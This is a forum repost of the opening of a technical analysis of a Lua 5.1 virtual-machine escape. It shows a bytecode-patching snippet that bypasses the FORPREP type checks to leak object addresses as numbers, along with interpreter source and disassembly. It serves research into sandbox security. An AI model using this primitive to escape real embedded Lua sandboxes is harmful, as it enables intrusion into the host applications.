Jump to content
Nytro

Analysis of VM escape by using LUA script

Recommended Posts

Analysis of VM escape by using LUA script

Author: boywhp@126.com
From: http://drops.wooyun.org/tips/12677

0x00 LUA Data Breaches


Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise.

asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub("\96%z%z\128", "\22\0\0\128"))

The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as:

It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers.

The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below:

0071  60000080           [4] forprep    1   1        ; to [6]
0075  1E010001           [5] return     4   2      
0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop

Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter:

case OP_FORPREP: {
        const TValue *init = ra;
        const TValue *plimit = ra+1;
        const TValue *pstep = ra+2;
        L->savedpc = pc;  /* next steps may throw errors */
        if (!tonumber(init, ra))
          luaG_runerror(L, LUA_QL("for") " initial value must be a number");
        else if (!tonumber(plimit, ra+1))
          luaG_runerror(L, LUA_QL("for") " limit must be a number");
        else if (!tonumber(pstep, ra+2))
          luaG_runerror(L, LUA_QL("for") " step must be a number");
        setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
        dojump(L, pc, GETARG_sBx(i));
        continue;

Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction.

case OP_FORLOOP: {
        lua_Number step = nvalue(ra+2);
        lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
        lua_Number limit = nvalue(ra+1);
        if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                : luai_numle(limit, idx)) {
          dojump(L, pc, GETARG_sBx(i));  /* jump back */
          setnvalue(ra, idx);  /* update internal index... */
          setnvalue(ra+3, idx);  /* ...and external index */
        }
        continue;
      }

The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number.

LUA uses TValue to represent generic data objects using the following format:

Value(64bit) tt(32bit) padd(32bit)
n LUA_TNUMBER  
GCObject *gc; -> TString* LUA_TSTRING  
GCObject *gc; -> Closure* LUA_TFUNCTION  

 

 

Articol complet: http://en.wooyun.io/2016/02/29/44.html

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...